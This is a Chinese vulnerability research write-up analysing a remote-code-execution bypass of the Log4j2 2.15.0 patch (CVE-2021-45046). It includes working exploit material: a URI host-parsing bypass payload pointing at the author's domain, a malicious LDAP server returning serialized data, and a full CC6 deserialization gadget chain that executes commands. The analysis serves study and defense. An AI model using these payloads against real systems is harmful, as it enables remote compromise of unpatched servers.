浅谈Log4j2之2.15.0版本RCE
本文首发于先知社区:https://xz.aliyun.com/t/10689
0x00 介绍
CVE-2021-45046
是Log4j2
漏洞爆出后在修复版本中出现的拒绝服务漏洞
在该CVE发布2天后,官方将4ra1n
加入了credit
中,本以为这就结束了
第3天在官方安全 页面 发现该漏洞从DoS
升级到RCE
并提高到9分
(个人认为9分过高,虽然能RCE
但限制条件过多,具体后续分析)
经过两天的分析和调试,我在Windows
上复现失败,但在MacOS
上确实可以成功
(由于家境贫寒买不起Mac
所以拜托了天下大木头师傅协助,成功RCE)
首先说明一个很多人都在关心的问题:只要不开lookup
就不存在漏洞
在2.15.0
版本中,无论DoS
还是RCE
都需要开启lookup
功能,如果没有特殊配置且不使用ThreadContext
等功能的情况下,是不存在漏洞的。但为了进一步的安全最好升级到最新版(目前是2.17.0
版本)
回顾核心方法,也是本文重点
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
// 限制协议必须为LDAP/LDAPS/JAVA
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 如果是LDAP或LDAPS情况限制Host为localhost
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
// 尝试从LDAP Server获取相关的信息
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
// 如果获取到序列化数据则判断类名是否为八大基本类型
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
// 不允许加载远程对象和远程工厂
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
// 绕过上述限制后才可以调用lookup
return (T) this.context.lookup(name);
}
2.14.1
版本RCE
的LDAP Server
这样写,注释写了防御方式。简单分析可以看出,假设真的有手段能够绕过了localhost
检测,在当前的LDAP Server
中也无法继续加载远程对象
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
// className虽然不符合八大基本类型
// 但不存在javaSerializedData属性
// 所以不会进入if (attributeMap.get(SERIALIZED_DATA) != null)
e.addAttribute("javaClassName", "test");
String codeBaseStr = this.codebase.toString();
int refPos = codeBaseStr.indexOf('#');
if (refPos > 0) {
codeBaseStr = codeBaseStr.substring(0, refPos);
}
e.addAttribute("javaCodeBase", codeBaseStr);
e.addAttribute("objectClass", "javaNamingReference");
// OBJECT_FACTORY验证限制了这一步无法RCE
// 假设能够绕过localhost的检测无法处理这一步
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
所以需要想出新的方式来触发,而不是继续利用javaFactory
属性,这将在后文中写到
0x01 解析绕过
尝试一些URI
的绕过:如何让URI.getHost
获得到127.0.0.1
ldap://127.0.0.1:1389/badClassName
这种方式获取到的一定是127.0.0.1
。虽然可以绕过检测,但这里的URI
放入LDAP
中也只能解析到127.0.0.1
,没有操作空间。于是想到,能否让URI.getHost
合法(locaohost
或127.0.0.1
)但实际上LDAP Client
可能会把输入解析到黑客搭建的LDAP Server
的IP呢?
以下内容就是围绕这个思路展开:目标域名是4ra1n.love
参考orange
大佬在Black Hat 2017
分享的PPT
看到其中的authority
的解释,想到能否用**@**符号做一些事情
URI uri = new URI("ldap://4ra1n.love@127.0.0.1:1389/badClassName");
System.out.println(uri.getHost());
// 打印:127.0.0.1
可绕过但不可能被解析到4ra1n.love
域名
看到PPT中另一处
编写对应的代码测试,发现**#**号也可以做一些事情
URI uri1 = new URI("ldap://127.0.0.1#@4ra1n.love:1389/badClassName");
System.out.println(uri1.getHost());
URI uri2 = new URI("ldap://127.0.0.1#4ra1n.love:1389/badClassName");
System.out.println(uri2.getHost());
URI uri3 = new URI("ldap://127.0.0.1#.4ra1n.love:1389/badClassName");
System.out.println(uri3.getHost());
// 都会打印:127.0.0.1
外国佬传出的POC如下,与我的猜测不谋而合
参考上方第三种Payload
ldap://127.0.0.1#.4ra1n.love:1389/badClassName
这里的Host
为127.0.0.1#.4ra1n.love
如果为4ra1n.love
域名开启泛域名解析,那么127.0.0.1#
是否会被当成一个子域名,从而访问到真正的目标IP
泛域名解析就是:a.4ra1n.love
和b.4ra1n.love
以及xxxxx.4ra1n.love
都会被解析到同一个IP,如果把xxxxx
替换成127.0.0.1#
且解析不报错,那么就拿到了真正的IP,然后配合特殊的LDAP Server
即可RCE
(很多师傅失败都是因为通常情况下包含**#号的URI**会报错UnknownHostException
,在MacOS
及一些特殊情况下会成功)
0x02 LDAP分析
这一节的内容主要是分析:如何产生的UnknownHostException
以及尝试解决
以上的Payload
在Windows
中的测试会报错,LDAP Client
初始化时候出现相同的异常:UnknownHostException
尝试使用Wireshark
抓包发现没有dns
相关信息,也就是说这个异常是发请求之前报出的
从this.context.getAttributes(name)
一路跟到LDAP Client
初始化
LdapClient(String var1, int var2, String var3, int var4, int var5, OutputStream var6, PoolCallback var7) throws NamingException {
// 跟入
this.conn = new Connection(this, var1, var2, var3, var4, var5, var6);
this.pcb = var7;
this.pooled = var7 != null;
}
跟到最底层,发现只是一个普通的Socket
方法:其中的var1
和var2
正是host
和port
private Socket createSocket(String var1, int var2, String var3, int var4) throws Exception {
...
if (var5 == null) {
// socket
var5 = new Socket(var1, var2);
}
...
return var5;
}
Socket
源码
public Socket(String host, int port)
throws UnknownHostException, IOException
{
// 如果host不为空会执行new InetSocketAddress(host, port)
this(host != null ? new InetSocketAddress(host, port) :
new InetSocketAddress(InetAddress.getByName(null), port),
(SocketAddress) null, true);
}
参考InetSocketAddress
类构造方法,找到了抛出异常的根源
public InetSocketAddress(String hostname, int port) {
checkHost(hostname);
InetAddress addr = null;
String host = null;
try {
// 根源
addr = InetAddress.getByName(hostname);
} catch(UnknownHostException e) {
host = hostname;
}
holder = new InetSocketAddressHolder(host, addr, checkPort(port));
}
找到底层方法,那么可以尝试造一些Payload
测试报错情况
// 正常通过域名解析到IP
System.out.println(InetAddress.getByName("4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1#.4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1@4ra1n.love"));
继续从InetAddress.getByName
跟下去,会到达一处native
方法
public native InetAddress[]
lookupAllHostAddr(String hostname) throws UnknownHostException;
由于Wireshark
没有抓到DNS
相关的包,在这一系列的流程也没有看到处理特殊符号的代码
而国外佬在有**#**号的情况下能够不报错,所以我猜测是这个native
方法的原因,报错的底层是操作系统和JVM
决定的
在官方安全页面写着只有在MacOS
中才可以RCE
,后来经过测试的确只能在MacOS
中RCE
remote code execution has been demonstrated on macOS but no other tested environments.
0x03 RCE分析
这一节的内容主要是分析:如果能够绕过localhost
拿到目标IP情况下如何RCE
假设127.0.0.1#.4ra1n.love
可以正常拿到IP地址,接下来需要解决RCE
的问题
在文章一开始就有分析到,在2.15.0
中禁了LDAP
的javaFactory
属性导致无法加载远程类,那么还能有什么思路呢
回顾0x00核心代码中的一个if
分支
// javaSerializedData属性如果存在
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
// javaClassName是否为八大基本类型
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
...
}
}
分析下lookup
底层的LdapCtx.c_lookup
方法
// 一个全局数组后面会用到
static final String[] JAVA_ATTRIBUTES = new String[]{
"objectClass", // JAVA_ATTRIBUTES[0]
"javaSerializedData", // JAVA_ATTRIBUTES[1]
"javaClassName", // JAVA_ATTRIBUTES[2]
"javaFactory", // JAVA_ATTRIBUTES[3]
"javaCodeBase", // JAVA_ATTRIBUTES[4]
"javaReferenceAddress", // JAVA_ATTRIBUTES[5]
"javaClassNames", // JAVA_ATTRIBUTES[6]
"javaRemoteLocation" // JAVA_ATTRIBUTES[7]
};
其中有这样一句针对javaClassName
的校验,但仅仅是非空校验
// var4是LDAP Server传过来的数据
// 如果javaClassName不为空则进入Obj.decodeObject
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
跟入decodeObject
方法
static Object decodeObject(Attributes var0) throws NamingException {
...
try {
Attribute var1;
// 如果javaSerializedData不为空
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
// 类加载器
ClassLoader var3 = helper.getURLClassLoader(var2);
// 跟入
return deserializeObject((byte[])((byte[])var1.get()), var3);
}
...
}
跟入deserializeObject
方法,没有什么限制条件
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
// var2中保存了序列化数据
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
// 得到一个ObjectInputStream
Object var20 = var1 == null ?
new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
// 反序列化调用对象的readObject方法
var5 = ((ObjectInputStream)var20).readObject();
}
...
}
}
}
可以看到整个过程中没有对javaClassName
和javaSerializedData
验证
也就是说核心代码中类名白名单对javaClassName
的限制没有用处,可以轻松绕过
然后将javaSerializedData
属性设置为gadget
的序列化数据,即可在readObject
中触发RCE
(其实这个过程正是JDNI
绕高版本JDK
的一种方式)
0x04 RCE过程
这一节主要是搭建RCE
的环境,编写特殊的LDAP Server
上文分析出了一种RCE
的方式,但没有真正的实践
在LDAP Server
中设置javaClassName
为基本类型,然后设置javaSerializedData
为Payload
这里的java.lang.String
可以绕过类目白名单的检测
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
e.addAttribute("javaClassName", "java.lang.String");
e.addAttribute("javaSerializedData", payload);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
Payload
选用了CC6
链(这个就不分析了,也可以用很多其他的gadget
来触发)
public static byte[] getCC6(String cmd) {
try {
Transformer transformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformers);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
byte[] data = outputStream.toByteArray();
outputStream.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
我将写好的LDAP Server
部署到远程服务器上(该工具以后分享,最近不太方便)
本地引入Log4j2 2.15.0
与CC
依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
配置开启lookup
功能
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
打日志
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1#.4ra1n.love:1389/badClassName}");
}
由于我的环境是Windows
会在处理包含**#号的Host
时报错,所以在this.context.getAttributes(name);
下断点并去掉#**号
由于4ra1n.love
域名开启了泛域名解析,所以127.0.0.1.4ra1n.love
也会解析到对应的IP
成功利用本地的gadget
达到RCE
的效果
0x05 RCE实现
终于在这一节实现了真正的RCE
为了验证在MacOS
中的结果,我将漏洞环境打包发给了天下大木头师傅
然后在服务端启动MacOS
弹计算器的LDAP Server
(该工具以后分享,最近不太方便)
木头师傅成功在MacOS
上RCE
,不需要进行其他修改